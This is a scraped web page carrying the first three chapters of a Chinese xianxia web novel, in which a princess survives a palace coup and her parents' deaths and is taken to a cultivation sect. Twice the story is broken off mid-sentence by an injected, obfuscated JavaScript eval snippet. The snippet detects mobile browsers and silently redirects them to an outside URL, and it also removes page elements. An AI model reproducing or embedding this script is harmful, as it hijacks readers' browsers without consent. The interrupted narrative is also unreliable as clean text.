《正道女主?我不干了!》 1. 参观玄水寺不可以心念仙人哦! 今日有个难得的好天气。 夏属国的春日总是阴雨连绵,偶有几天能从黑云中透出一点亮光,却鲜少有这样日光下澈,照得院中小池波光粼粼的时候,徐徐春风轻柔抚过秦蓁的脸颊,她回想起来,自己小时候倒是见过一次这样的好天气,抛去今日,仅那一次。 忽然她余光一瞥,看见一身盔甲的镇国大将军带着一个侍卫步履匆匆,看方向应是得了传召去拜见父皇。 她多看了一眼,便被那人察觉,投来不怒自威的一眼,却在看清是她时眼神变得复杂起来,深深一眼后便转过头继续快步往前走,只是身上气势更盛。 秦蓁也转过头,不再看那个方向。 她叹口气,婢女低眉垂眼,道:“公主,皇上说......”却被一声嗤笑打断。 “镇国大将军形色匆匆,定是父皇急令,可是边关要紧事,情急之时缺了礼数也是正常,小杨子,不得不快,应是父皇哪个没位份的小宠,不算丢了皇家脸面......呀,皇姐,原是你在此?” 秦蓁转头看向来人,脸上没什么表情,便又听见一句:“大将军见到皇姐没礼数,那是皇姐不计较,我们还是要全了这个礼数的,小杨子,来见过皇姐。” 于是他身旁奴才便上前一步朝秦蓁行了个礼。 这样的话语把戏秦蓁听了太多次,几乎每次都是同样的语气,秦蓁每次也都是沉默接下这样的“问安”,极少与人争执。 但今日天气太好,让她的心情也很好,于是这些往日里不在意的东西在今日也让她在意起来。 她开口,似疑惑不解般皱了皱眉:“你是我哪个皇弟?也敢妄议镇国大将军与父皇嫔妃,按理该打五十大板,原先我只听见声音还以为是哪个宫中管事公公不懂事的弟子,但你竟叫我一声皇姐,倒是让我惊讶非常,免礼罢。” 说完露出一个小小惊讶的神情,在那人震惊的眼神里微微笑了笑。 “参见三殿下。”秦蓁身后的婢女朝来人行了个礼,秦蓁便学着前面这人的语气作出恍然大悟的样子道:“原是三皇弟,许久不见了。” 三皇子秦胥宴这才从那番阴阳怪气的话里反应过来,一张脸涨得通红,他竟然被人和宫中管事公公的弟子相提并论!简直奇耻大辱!他正要发怒,却又听秦蓁道:“没记住三皇弟,是皇姐之过,想来是三皇弟平日课业繁重,少有来御花园的闲情雅致,日后三皇弟得了空可常来赏花,皇姐见你见得多了便记住你了。” 秦胥宴听到这话气急了,张口就骂:“皇姐真是好伶俐的一张嘴!从前我只知皇姐毫无规矩恃宠而骄丢我皇家脸面,今日才知皇姐竟还如此不知廉耻,拿后宫小宠们争宠的话术挤兑人!简直!简直!” 秦蓁听他“简直”了半天,便开口:“竟是争宠话术?那倒真是皇姐之过,我见三皇弟前面这般说话,一时起了玩心便学了学,皇姐自一年前书阁走水后便再未念过书,不如三皇弟博学,一时未能分辨,不过,竟是这般话术,三皇弟往后也莫要再这样说话了,若让其他皇弟皇妹们听了学了去就不好了,父皇后宫中的嫔妃,三皇弟也莫要再用这等字眼称呼。” 说完秦蓁也不看他了,转身就要离去,想了想回头又说了一句:“三皇弟,还是早些回自己宫中罢,皇姐是皇姐,旁人是旁人,若让旁人看见你在御花园,可真要挨上板子了。”说完便带婢女离开了。 “公主?”婢女见秦蓁步子稍快,问道:“公主有何要紧事?天气这般好,这便回屋了吗?公主刚刚回得好,我们公主身份比那些人尊贵多了,不必担忧,皇上这般疼爱您,三殿下也没这个胆子向皇上告状,公主继续赏花罢......” 秦蓁听了却没停脚步,低声说了句:“回屋。风雨欲来。” 镇国大将军不对劲。 秦蓁说不上来,只是她的直觉向来敏锐,镇国大将军——秦奕,这位将军对她一向不喜,但今日这般复杂的眼神却是从未有过。 她轻轻一瞥看见那样的一双眼,瞬间被冷汗湿透了里衣,让她想起从前邻国进贡的一条墨色大蛇,细细的鳞片随着蛇的呼吸和她的抚摸一片片张张合合,手下却并不刺硬,而是冰冰软软,她还想再摸,却见那蛇头突然转过来,她对上那棱形的瞳孔,一瞬觉得手下的触感爬上了她的脊背,蛇身细细密密的鳞片似从她的脊柱骨一节节往下滑,让她浑身冰凉微微颤抖。 秦奕不对劲,他身上肃杀的气势更重,让她嗅到一点风雨欲来的阴云。 也许正如秦胥晏所说,边关战事到了刻不容缓的地步了。 可她总觉隐隐不安,夏属国常年阴天,像今日这般艳阳高照的好天气,仅她十岁那年生辰。 原本后宫除她母后之外,仅有嫔妃两位,那天后,父皇却像变了个人,接连选秀,甚至下民间选符合要求的女子,从前邻国进贡不过奇珍异宝,往后却成了各色美人。 事出无常必有妖。 只是,不管如何,都不是他们这些皇子公主该随意掺和的,她提醒秦胥晏一句,只是念在他们血脉相连。 * 秦胥宴阴沉着张脸看着秦蓁离开,咬牙切齿道:“皇姐真是不得了!我看她真是谁都不放在眼里了!不就是仗着父皇宠爱!” 他顿了顿,吸一口气,压下怒火,用一种怜悯的语气接着说:“不过......且看父皇的恩宠能到几时吧,毕竟……哼!我看父皇寻人寻了这么些年,也该耗完那点喜爱了,后宫一天天塞了那么多人,也就皇姐那个蠢货!还以为父皇有多宠爱她母后!” 他看了眼身旁听见这句话猛地跪下的小杨子,又冷哼一声,抚了下手中红扇,说:“可怜人。” 秦胥宴微扬下巴,一开扇,说道:“起来,皇姐不是要我回府吗?那便回府罢。” 小杨子赶紧起来,踌躇着想说什么,却听秦胥宴低低说了句:“她从来明哲保身……怎会不清楚自己是何境地。” * 秦蓁回到寝宫,望着窗外透彻的日光出了神。 那天她被父皇唤醒,说今日有个好天气,真是上天为我们蓁蓁降下的好福气。于是在父皇兴奋莫名的目光中,她也笑起来,而后父皇亲自为她梳妆打扮,坐上轿子去玄水寺。 父皇一向很信神佛道法,他说要去祈福,说蓁蓁可以许一个愿望,他说许愿要诚恳,一心一意念着那个愿望,才有机会让天上的仙人听见,怜悯他们这些凡人,助他们美梦成真。 父皇像喃喃自语一般,说了很多凡人仙人之类的话,她很惊讶,原来父皇也爱看话本呀,那她以后看话本是不是可以不用偷偷摸摸了? 可秦蓁还没来得及问,玄水寺就到了。 父皇牵着她的手一步步走上台阶,她边走边想这个寺庙里是不是有位真仙人,不然父皇为什么那么紧张,连带着牵她的手也一齐颤抖。 于是她也期待起来。母后从不亲近她,若是她许愿足够诚恳,仙人是不是就能帮帮她,让母后也喜爱她呢? 终于走上高台,父皇松开手,她按着父皇说的,在听见金钟响起时,闭上眼睛诚恳的许愿。 许的什么愿?她却不记得了,好像她仅仅闭眼一瞬,再次睁开,就已经在宫中了。 宫中太医侍女进进出出,她躺在床榻看向窗外,又是阴雨连绵。 她惊惧万分,哭闹了起来,她问父皇是不是寺庙的仙人给她施法了,她刚闭眼要许愿,但睁眼就在宫中了。 父皇坐在她床边,只说了句你要懂事了,而后一言不发。在长久的沉默中,她嗅到一点父皇的悲痛。 从那往后,父皇对她冷淡了许多,珍奇秘宝照样往她的昭纯宫送,吃穿用度也一点不减,可却再也不理会她的亲近,往日她可以随意进出皇宫各处,那天后父皇却下了一道禁令,说公主骄纵,禁足三年,日后该恪守规矩,不可再踏足她公主身 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秦胥晏抬头看了眼难得的艳阳天,讽笑一声:“上次这般好的天气,父皇下令杀了玄水寺一百五十一人……” 秦胥晏想起五年前的那天,他在睡梦中被母妃急急唤起,鱼贯而入的侍女们给他洗漱换衣,母妃芙蓉花般的脸蛋上充满了不安,急切交代了他许多话,可他太困了,没听清太多,只知父皇一早突然命所有嫔妃皇子整装去一个寺庙。 母妃交代的大概是让他“快起床”“礼仪得体”“莫要乱跑”罢,他想着,揉着困倦的眼睛上了轿子,而后倒头就睡。 再醒来是疼醒的,母妃揪着他的耳朵,芙蓉面上两道柳眉高高翘起,额间花钿红艳,杏眼圆圆,她小声骂道:“秦胥晏!” 秦胥晏彻底清醒了,心虚装乖:“母妃今日真好看!父皇见了定会欢喜非常!” 往日他赖床犯错偷玩惹母妃生气要训他时,他睁圆眼睛软着声音这样一说,母妃就会欢喜起来,百试百灵。 可今日他这话出口,却见母妃脸色瞬间一白,也不揪他耳朵了,抖着手抚了抚他的脸,说:“一会儿记得,别来母妃这边,跟小杨子走。” 秦胥晏虽疑惑母妃惨白的脸色,却在听见要他跟小杨子一块时怒到:“母妃!您又要我去听下人的话?一个奴才我都使唤不了!我的课业不就差了皇兄一点,凭什么……” 他怒气冲冲,不就是上次课业没做好嘛,二哥大了他半岁呢,他也有好好用功的……虽然平日也常常偷玩。 而他的母妃却没再说话,将他轻轻一推,小杨子上前躬着背应声,母妃却转过身带着侍女走远了。 于是他气呼呼喊小杨子也走。 走走走,走便是了!母妃一见父皇就这样!自己跟父皇你侬我侬去了,把他打发给下人,跟小杨子走!跟小杨子走! 他噔噔噔几步跳下台阶,赌气没再看母妃那边。 再后来的事秦胥晏不想去想了。 已过五年,那天最鲜活的记忆竟然是跟母妃赌气。他本可以跟母妃再多说一些话,哪怕只是好好应她一声,也比赌气强上太多,可八岁的孩童无知,最后一句话便成了凭什么。 那时他百无聊赖的听着住持念诵词,而后金钟被咚咚敲响,他看见高台上的皇姐突然倒了下去,他惊讶想着皇姐竟然没走稳摔了,却见父皇挥手大发雷霆。 站在高台下,他听不清父皇在吼着什么,但第一声惊叫从不知道什么地方响起,而后血气冲天。 他吓坏了,刚刚尖叫一声便被小杨子用力抱起,耳边风声尖叫声嘶吼声呼啸而过,他想找母后,可一张张惊恐扭曲的脸挡在他面前,看不见一张芙蓉面。 后来他叫着喊着什么他全都不记得了,只记得泪水汹涌,痛彻心扉。 秦胥晏讽刺的笑了笑:“回府。” 真是受不起这样的好天气。 2. 女主你不要死啊! 秦蓁来到殿前,看见跪了一片的朝臣,心中一凝。 殿内落针可闻,她看了眼龙椅上的父皇,却见他面色如常,并不像发怒过的样子。 秦蓁刚要行礼,一道低哑冷肃的声音乍开静寂的大殿:“公主殿下也到了。” 她头皮一麻,望向发出声音的人——秦奕。 秦奕一身盔甲,目光锐利,身上的气势却比今早两人偶然对上眼时要收殓许多,他说:“公主殿下,到我这来。” 她皱眉,秦奕这番举动莫名其妙且相当逾矩。 “公主殿下与这些陈年旧事无关,此番我秦池玉大义灭亲,仅灭两人,朝中各位大臣不必担忧血染大殿。” 秦蓁猛然看向来人——秦池玉,她的五皇叔,从秦奕身后走了出来,一身侍卫打扮。 她脑中纷然炸开,秦奕早晨行色匆匆,不是战事紧急得父皇传召,而是,他们要造反。 思绪如麻,衣袖被重重扯了下,她侧眼望去,看见旬鹊神色惊慌。她闭了闭眼,轻声说:“不怕。” 秦蓁努力镇定下来,不去听心中鼓噪,但秦池玉声音冷硬,似含杀气,响彻在大殿:“我儿秦奕,自小便被支去边关生活,可他心中从来无怨,因为他清楚边关不定,贼敌不死,家国就易动荡。他上战场,九死一生平战事、稳军心,及冠后做了大将军,只为家国百姓!” “可皇上是何其昏庸!诸位大臣想必比我更明了。”秦池玉转身,拔出佩刀,殿内瞬间涌进一批禁军,他们身披黑甲,手持长刀,带着肃杀的气势将大殿包围,朝臣嗡鸣,又很快安静下来。 秦池玉接着说道:“从前皇上行政清明,原有大好河山开拓,而非如今这般,边关战事不休,邻国侵扰不止,百姓税赋繁剧。在此的各位大臣,可有一人未曾进谏劝阻过?谏言千百,皇上一字未听!” “五年前,皇上取玄水寺一百五十一条人命,震惊朝野,我自军中快马加鞭赶回朝堂,却被皇上拒之殿外,甚至派禁军将我压回军中。而后五年,后宫添了多少女子,各位大臣亦比我明了。皇上耽于享乐,一再容忍敌贼肆虐!战火纷飞!百姓疾苦!诸位大臣难道也能容忍!” “我儿为大将军,纵使战死沙场,亦是兵家荣事。然我夏属国百姓,不可死在敌国铁骑之下!不可有国破家亡之日!皇上专权独断,不顾黎民百姓,我秦池玉,为其兄长,痛其不仁不争,大义灭亲!”语毕,秦池玉持刀走到龙椅前。 秦承定坐在龙椅上,开口,却是只有两个人能听清的声音:“五皇兄。” 秦池玉应声:“七皇弟。”他等着秦承定接下来的话。 “动手吧,我已经回不了头了。” 秦池玉眼神微闪,声音压得更低:“看来你倒还知道自己做了些什么。” “皇兄,我有愧于你,更愧对夏属国的子民。可我……回不了头,你杀我,还能止损一切。”秦承定不再自称为“朕”,他垂着眼,十分平静。 这话却让秦池玉暴怒起来,咬牙切齿:“若回到二十年前,我不该情愿辅佐你!”说完他转身高喊:“皇上愿下罪已昭,躬身退位!”话音刚落,他听见身后秦承定的声音:“皇兄,你总是这般犹虑。” 手中佩刀被夺走,秦池玉一惊,迅速向身后打出一掌,回头却见秦承定倒在了龙椅上,颈间鲜血涌出,他的佩刀从秦承定手中掉到地面。 秦池玉怔愣了一瞬,怒极反笑,眼眶却通红:“皇上驾崩!” 朝臣彻底喧闹起来。 秦池玉挥手,殿内禁军分成两股倾巢而出,将大臣们押出殿外,一批被押送回家中,一批被押入大牢,殿内很快空旷起来。 秦蓁如坠冰窖。 原来战事民情,已到这般地步。 她不清楚父皇与自己疏远的这五年发生了什么,也不懂皇叔说的玄水寺一百五十一条人命是什么意思,更不明白,父皇怎么就带着一身红倒下了龙椅。 原来,不是仙人施法,是凡人利欲。 她浑身发冷,剧烈颤抖起来,半响才迈出一步,想往父皇身边去。 直到视野被大片盔甲挡住,她撞了上去,才发觉手臂被人箍住——秦奕挡在她面前,抓着她的小臂,将二人距离稍微拉开。 “你的母后来了。” 秦蓁回神,秦奕说:“……如果不想看,就随我走吧,当这一切是场梦。”秦奕犹豫了下,手中稍稍用力,想将秦蓁带走。 可秦蓁回头了。 因为旬鹊又重重拽了下她的衣袖,像把她的灵魂拽了回来。 她将旬鹊拉到自己面前,用力克制自己的眼泪,对秦奕说:“秦奕,把旬鹊带出宫,护好她性命。你想要的东西,就在宫外,旬鹊是除我之外唯一清楚的人。” 她松开旬鹊,小丫头正目瞪口呆的看着她。秦蓁如从前许多次一样轻轻拍了拍她的头。 再错开面前两人,朝秦承定跑去。 边跑,边止不住地流泪。没有人拦她,她跑到父皇身边时,他竟还有口气。 可秦承定一眼都没看她。 秦蓁顺着他的目光,看见不知道什么时候被禁军押来的母后。 母后满脸泪水,有些狼狈,他们相望,并没有言语。 秦池玉说:“公主殿下,你该知道,皇后娘娘叫什么名字。” 秦蓁愣了:“母后姓肖,名……” “孟亭栀。” 秦蓁被一道清脆的女声打断了。她呆呆看着母后,看见她脸上的恨意。她听见母后愤怒悲切的嘶吼:“我是京中孟家之女!孟亭栀!” 秦蓁彻底僵住了。 她被钉在父皇跟前,母后九尺外的地方,使出全身力气,亦无法动弹。 秦蓁只能听见呜咽哀怨的声音,对她父皇说:“我才是你的皇后啊……” 话未完,押着孟亭栀的禁军手起刀落。 秦蓁望过去,看见母后躺在一片血泊中,死死盯着前方,那双眼里的恨是那样分明,仿佛恨毒了她盯着的人。她顺着母后的视线看过去,果然看见同样倒在血里的父皇。 但父皇的眼里却没有恨,只有一些眷恋,一些欢喜,和汹涌的爱意,这是秦蓁第一次看见父皇用这样专注又充满爱意的眼神看母后,她好像明白了,父皇看的,从来不是眼前这个人。 父皇对她宠爱有加的那十年,他曾许多次握着她的手一遍遍教她练字,练的是三个字:肖拭云。 他说,蓁蓁,这是你母后的名字。 她想起母后的寝宫,牌匾正是“拭云宫”三个字,她说等她字练好了,要把她写的字提上去。父皇听了哈哈大笑,便教她开始写“拭云宫”。 她不明白,她的母后,不是一直在拭云宫吗?她长到现在,只见过这个不怎么愿意与她亲近的母后。 她回头,再次望向血里的女人,她看见那双满是恨意的眼睛渐渐蓄满了泪水,流下来时仿佛滂沱大雨洗刷泥泞大地一般把恨意洗净,余下点点温柔和释怀笑意。 这让她想起仅有的一次,她染了风寒高烧不退时,母后守在她床边一夜,看她醒醒睡睡,便给她讲了一夜的话本故事。她只听清了天亮起前的最后一个故事,是一个爱情故事,她迷迷糊糊的像所有小孩听见爱情故事那样问了一句,那他们最后在一起了吗? 母后轻轻的笑,有些遗憾又有些释然的说,貌合神离,除了心都在一起了,不过最后一起死去,那颗心属于别的哪个谁倒是也不算什么了,总归是他们死在了一起。 秦蓁听见秦池玉的声音:“公主殿下,陈年旧事本与你无关,但你该知道一些。你母亲乃修仙之人,十五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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旬鹊赶紧朝秦蓁跑去,边跑边喊:“公主!公主!来人救命啊!”路过那仙风道骨的中年人时,她故意踩了下自己裙摆,摔在他面前,接着像一个被吓得手足无措的忠仆一样,拽住他的衣摆,大哭:“仙人!仙人!救救我家公主!我家公主名叫秦蓁!还未取字,她才刚刚及笄啊!尚且年幼,不能就这么死了啊!” 那人一惊:“她叫什么?” 旬鹊焦急道:“秦蓁!秦蓁!她是皇后娘娘嫡出的公主啊!” 她喊完这句,果然见中年人瞬间破空至秦蓁身边,抬手点了几个穴位,扣住她的手腕为她渡灵力,同时也将几颗丹药化水喂入秦蓁口中。 旬鹊松了口气,有这位及时出手,秦蓁不会有事。 倒是快吓死她了。 天知道她看见女主冲上去自戕时脑子都要短路了,剧情根本不是这么回事啊!秦蓁应该愤怒看着她父母抛下她双双为爱而死,然后心灰意冷想要远离皇室,便恳请那中年人——道源宫掌门肖涧川,带她修炼。肖涧川一开始不愿,拉扯一番后得知她叫秦蓁,立马变脸眼含热泪告诉她,我是你外公啊! 再然后感天动地的认祖归宗,外公外孙女的喊了几回后,肖涧川带着秦蓁回了修真界,女主正式迈入修仙生活。 而她作为小侍女的戏份就结束了,换个道源宫某某内门弟子的身份,继续为女主保驾护航。 这才是剧情啊!这才是故事走向啊!怎么秦蓁就带着一头攒死的气势拔剑自戕了呢。 旬鹊陪在秦蓁身边,看着她长了七年,实在想不到她是个敢自戕的人。 不是说想学武吗?不是说也要像话本里的仙人大侠一样救苦救难吗?明明昨天还信誓旦旦笑着说她有办法让皇上答应的,不是吗? 五年前从玄水寺回来不是还哭了好久吗!七年前她在街上一屁股坐在秦蓁跟前装可怜求她带走自己,她不是还被自己瞎编的身世带着哇哇哭吗! 这般又软又心善的人,怎么就在自己眼底长成了这么有心气的样子。 旬鹊面上呜呜哭着在一旁看肖涧川救治秦蓁,一边想着接下来的故事线。 3. 别急,让我翻翻剧本 旬鹊是天道意识派下的维护各个小世界秩序的任务者。 没事的时候她就悠游四方,这个小世界看看那个小世界玩玩,一旦天道意识发觉某个小世界出了问题,比如气运之子意外身亡了,小世界受到毁灭性打击无法抵抗了,从时空裂缝掉出外来小世界的人把本土小世界闹得天翻地覆了,诸如此类,破坏了天道在那个小世界定下的规则,超出了天道规划的范围,影响了天道为小世界写的剧本……她就来活了,负责去到那个小世界将天道剧本拨正。 而这个小世界比较特殊,天道不知是察觉了什么,明明世界运转正常,却把她丢了进来。 她接收了这个小世界的天道剧本,很寻常的女主童年幸福美满拥有一切,修炼至巅峰,然后飞来横祸失去一切,接着看破红尘飞升离开小世界的故事。 她估摸着飞升就是个幌子,每个小世界的主角最后应该都是成了天道的一部分,再由天道挑选一些出来成了跟自己一样的任务者。 她已经忘了自己是从何而来,怎么成了天道手下的任务者,但她也不太在乎,因为她对这些绮丽的小世界十分有兴趣,乐意穿梭其中。 不过秦蓁这么一遭,她冷静下来倒是明白了些,这个小世界,是剧本需要拨正。毕竟天道剧本里秦蓁身为女主,是要以凡人躯踏入修炼路最后飞升的,不可能会死在这个由凡入仙的重要节点上。 虽然秦蓁目前十五年的人生与天道剧本一模一样,但旬鹊也明白,每个小世界里的一花一木都是真实的,而人更是有着千万种可能的生物,为了自己重要的事物,能倾尽所有爆发出逆天的力量。 也许是哪个节点发生了细小的改变,这点改变影响到了秦蓁,让这个小世界的天道剧本崩坏了。她知道天道有回溯整个小世界时间节点的能力,如果某个小世界彻底无法掌控,天道便会启动回溯,再派任务者来引导小世界回归天道剧本。 上一次的世界回溯,就是因为一方小世界被突如其来的一场血雨浇毁,没有任何人能抵抗,天道只能启动回溯,派任务者去提前引导,阻止血雨的发生。 而当时没任务的旬鹊好死不死就在那个小世界的犄角卡拉里享受人生,血雨侵袭而来时,她踩着焦黑的土地在电闪雷鸣中怒骂天道,下一秒天海倒洒,她被劈头盖脸的浪头砸得东倒西歪,还呛了好几口血水。 等她站稳,天地已经复苏,时间已经回溯,这方小世界无知无觉的重新运转了起来。 真是霸道啊,天道,让其生则生,让其灭则灭。 那时她抬眼望天,良久,她头顶聚着的一小片雷云才缓缓散去。 * 秦蓁有想到自己不会死,因为秦奕有东西在她这,在他拿回去前,不会轻易放走她,哪怕自己说旬鹊也知道那个东西的下落。 可她没想到,自己睁眼醒来,看见的不是花纹繁复华贵的床榻和成群的太医宫女,而是古朴素净的卧房,和一个仙风道骨的中年人。 那人见她醒了,急急问她:“你刚刚及笄,还未取字是吧?” 秦蓁不明所以,却还是点点头。那中年人明显一喜:“好,好!待你身体养好些,我为你取字。” 秦蓁脱口而出:“非父非母,怎可取字?”见那人表情古怪,才想起,秦池玉大义灭亲,父皇母后已经死在宫中了。她没什么表情,问:“你是何人?我又怎会在此?” 那中年人却未答,递给她一个玉瓶,说:“先把药吃了,你才有点力气。” 秦蓁不是很想吃药,也不是很想恢复力气,但她还是慢慢将小玉瓶倾斜,倒出里面的一粒黑色药丸。 入口即化,她希望这是个什么毒药。 四肢百骸温热起来,她感到自己的身体舒服了许多,应该能自如行走了,唯有心口依旧一阵刺痛。 这般见效的药,她从未见过。秦蓁坐了起来,望向面前一直温和看着她的中年人。 “我是华山道源宫掌门,肖涧川。你母亲肖拭云,是我的……亲传弟子。前几日我算到她唯一的骨肉有劫难,入凡人界带走了你。你可愿拜入我道源宫?你母亲天生仙体,你有她的血脉,资质好,修炼会很顺畅。” 肖涧川说完,却没从秦蓁脸上看见惊讶的神色,小姑娘面无表情,问:“修炼?像我母亲一样吗?” 他点头。 秦蓁忽然笑了笑,那笑容将她没什么血色的脸点上暖意,如冰雪消融,她轻轻说:“原来真的有仙人啊。” 肖涧川也笑,他望着秦蓁,跟她母亲长得并不太像,肖拭云是活泼热烈的,而秦蓁虽然笑起来似清甜的水,但笑容淡去,又成了无垢的雪。 “凡人界中,皇室部分人是知晓的,应是秦承定没有告诉过你。” 秦蓁点头,又问:“我母亲……肖拭云呢?”她有点艰难的将这个名字说出口。在她记忆里,这个名字一直属于已经死去的那个人,她的母亲……也是那个人。而不是另一个她从未见过的谁。 许久没有听到回答,她抬头,肖涧川神色悲伤,说:“她死了。” 秦蓁再点点头,原来都死了。 不管是父皇,还是她两位母后,都死了。他们的眼中只有彼此,从没有人的眼里能看见她。 “旬鹊呢?就是我身边的小侍女。你有见过她吗?”秦蓁依旧平静,问出最后一个问题。 肖涧川有些讶异:“你不先问问秦奕吗?” 秦蓁也有些讶异:“我为何要问他?”话落眉头一皱:“她在秦奕那儿?” 肖涧川也皱眉,秦蓁自刎下一刻他才赶到,破空出现在殿内,入眼一片血红,他还未跟秦池玉了解状况,便听见一声怒吼,他看过去,有一人身披盔甲跪在孟亭栀身边,怀里抱着一个女子,血顺着那人的身体流淌,淌进黑色的盔甲。 嘈杂声中,他知道了这人是秦池玉之子,秦奕。 那人惊愤又痛苦的神情,让肖涧川看了都有些怔然。 这时一个小侍女哭叫着摔在他面前,扯着他的衣摆喊他仙人。一个豆蔻年华的小丫头,大抵是被护得很好,话本看得也多,见他凭空出现,丝毫没有害怕,仙人长仙人短的喊,求他救她家公主。 肖涧川本不是来插手凡人的事的,只是他前几日心头难安,找坐忘峰的那位算了一卦,想起一些陈年旧事,决定入凡人界一趟。 肖拭云已死,秦蓁是她的血脉。 但许多事,肖涧川不打算告诉秦蓁,凡人界长大的孩子,哪怕修仙,也有一颗凡心。知道得多,想得便多,也更易道心动荡,走火入魔。 他说:“我见过你的小侍女,原来叫旬鹊。她没事,她忧心你得很,我将她一并带来华山了。” 秦蓁松了口气,诚心诚意道了句谢,又说:“烦您转告她一声,往后她想买什么话本零嘴,都得自己算好账了。” “谢谢您。”秦蓁笑着又道了声谢。 然后她掀开被子站起,走到门边,肖涧川见秦蓁想出门,以为她是要去找旬鹊,便说:“我给了那个小丫头通讯玉牌,你要见她我将她唤来……” 可秦蓁推开门,头也没回。肖涧川见状也朝门边走,边走边说:“你还需休养,先别多走……” 话语戛然而止,因为他看见秦蓁跑到崖边跳了下去。 道源宫位处华山,地势陡峭,常年积雪,其上七座山峰,主峰便为日月峰。道源宫弟子多为剑修,肖涧川为了让刚入门的弟子们尽早学会御剑,日月峰未设上下山的路,学塾卧房切磋场议事殿等一切设施,皆沿着峰崖绕峰心所建,日月峰所有能进入的地方,都临崖。 高耸入云,直上千里。 肖涧川赶紧聚出一把灵剑,踩着灵剑飞冲下崖。 * 秦蓁跳下崖,强劲的冷风逼着她闭紧了眼睛,脸被刮得生疼,她往下坠,不知坠了多久。 她本来没有这么不想活。 父皇性情大变,她看在眼里,消沉一段时间后,在旬鹊的陪伴中振作起来,被禁足的三年也想通了许多事,而旬鹊很爱拉着她看各种话本杂文,有时也看些列传游记,她从许许多多故事中,窥见一丝异常。 她从小就爱出宫玩,父皇也纵容。那时的宫外,有灯火通明的长街,嬉笑热闹的人群,花样繁多的吃食,还有厚土青叶茂盛花,翠湖清风开心颜。 可后来她再出宫,原先城外的翠湖已经变得浑浊,不知是些什么东西沉进了里面,周边青草也被人踏得枯黄,街上的人少了,哀愁的脸多了,还有小乞丐撞到她跟前,求她可怜。 她明白,百姓活得不好。 她也曾想过,父皇若是不在了,她该如何。于是她在不该算计秦奕的地方,算计了他一下,拿到了对他相当重要的东西,好歹这样东西,能在秦池玉和秦奕那儿保下她和旬鹊的命。 那时候,她并未想到母后,因为母后实在太不喜她,也很抵触她的亲近,在她还是小小的一团时,她跌跌撞撞跑向母后,母后却皱眉退远,喊侍女抱她,抱回她自己的昭纯宫。 她与母后,甚至很少在同一屋檐下。 小孩不懂,只以为自己不够好,努力许多年,才终于在慢慢长大中慢慢放下。她想着,一直这样,便也就这样吧,她不去强求了。 她想出宫,想学武,那些民俗妙笔下的广阔江湖让她向往。她想着,她不求父皇母后的爱了,她想痛痛快快的活。 可在最后,却让她知道了母后并非母后,也知道了那些抵触不喜从何而来。她终于想通一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116408|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些往日被忽略的东西,也终于明白,她做什么都没用的,因为父皇母后,始终只看向对方。她在中间,却太小了,他们平视前方,仅能看见彼此,不低下头,看不见底下小小的她。 原来为讨他们喜爱而活的自己这么可笑。 而他们就那样一身轻死去,将她忘在了尘世间。 无名火烧上她心头,她不想再去努力任何事了,也不想再做这个看似幸福的尊贵公主了。 忽而感到腰身被人揽住,体温回暖,刺骨的风不再打向她,秦蓁睁眼,落入一双温和的眸子。 那一瞬,她好像看见世间万物飞逝,看见波澜迭起又落于归处,看见一柄冷冽的剑,一把孤傲的刀,一个哀颓的人。 心口猛然一刺。 * 苏逐是来找肖涧川的。 前几日肖涧川找他算了一卦,大凶。凡人界有人不知从哪得来秘法,以血祭招魂,仅差最后几步便能开启阵法。 且这阵法,是真秘法,若是血祭启动,真能把魂招来。 苏逐算到,此事与肖涧川有千丝万缕的关系,而据他所知,肖涧川与凡人界唯一的联系,是他那个嫁给凡人的女儿,肖拭云。 而肖拭云已经死了十五年了。 他猜测,拿到秘法的人是肖拭云的凡人夫君,血祭招魂,是想招肖拭云的魂。 实在是他怎么算,连接肖涧川的因果线都太深,可肖涧川与凡人界仅有的因果线又在肖拭云身上。 他只能得出这个结论。 苏逐跟肖涧川说了卜算的结果,说了秘法血祭,独独没说这真的可以招到肖拭云的魂,将她招回来,死而复生。 那秘法血祭的条件太苛刻,也太罪孽,不该因任何人开启。 死去的人,不该回来的。 今日他感应到肖涧川回了日月峰,便过来问一问后续。 没想到看见一个坠崖的小姑娘。 而且还是个,凡人小姑娘。 他几乎是看见的瞬间便破空过去揽住了她,布下结界后才反应过来,明明直接打出一道灵剑将人接住就可以了。 他有些失笑,自己近年来是越发心软了。不过按他入道源宫的初衷,也算是好事吧。 “别怕。”他安抚一句,护着人逆风而上,踏至日月峰。 苏逐刚将护着秦蓁的结界撤去,便听见肖涧川焦急的声音:“栖归,我感受到你的灵力,你在日月峰了?可有在峰涧看见一个凡人女孩?她……”肖涧川止了话。 苏逐回头,见肖涧川从崖边踩着灵剑上了日月峰,看见了他身边的秦蓁,明显松一口气。 肖涧川走到秦蓁跟前,蹲下,抬头看她:“蓁蓁,你有什么事,尽管与我说,日月峰危险,莫要……乱跑,摔下去可不得了。” 秦蓁想,她一定吓到他了。 肖涧川神情急切,话语诚恳,那份担忧关心沉甸甸的,让秦蓁觉得受之有愧,便暂且歇下心思,僵硬点了点头。 肖涧川叹气,他大概,真的很不会带孩子吧,从前护不好拭云,现在护不好蓁蓁。 他觉得秦蓁跳崖,是他的错。小孩刚醒呢,记忆还停留在父母死去的时候,而他上来就说一堆有的没的,恐怕吓到她了。 “蓁蓁是吗?我刚刚用灵力探过你,你身上伤未愈,去睡一觉休息休息吧。”苏逐适时开口,温和的说。 肖涧川也反应过来:“对!对,你刚刚吃过药,睡一觉会舒服很多,你虽伤至心肺,却也不必担忧,我已为你医治,好好养很快便能好。” 秦蓁沉默片刻,应了声好。 肖涧川带她回刚刚的卧房,看着她躺下,又叮嘱几句,给卧房加了层结界,这才退出来,看向等着他的苏逐。 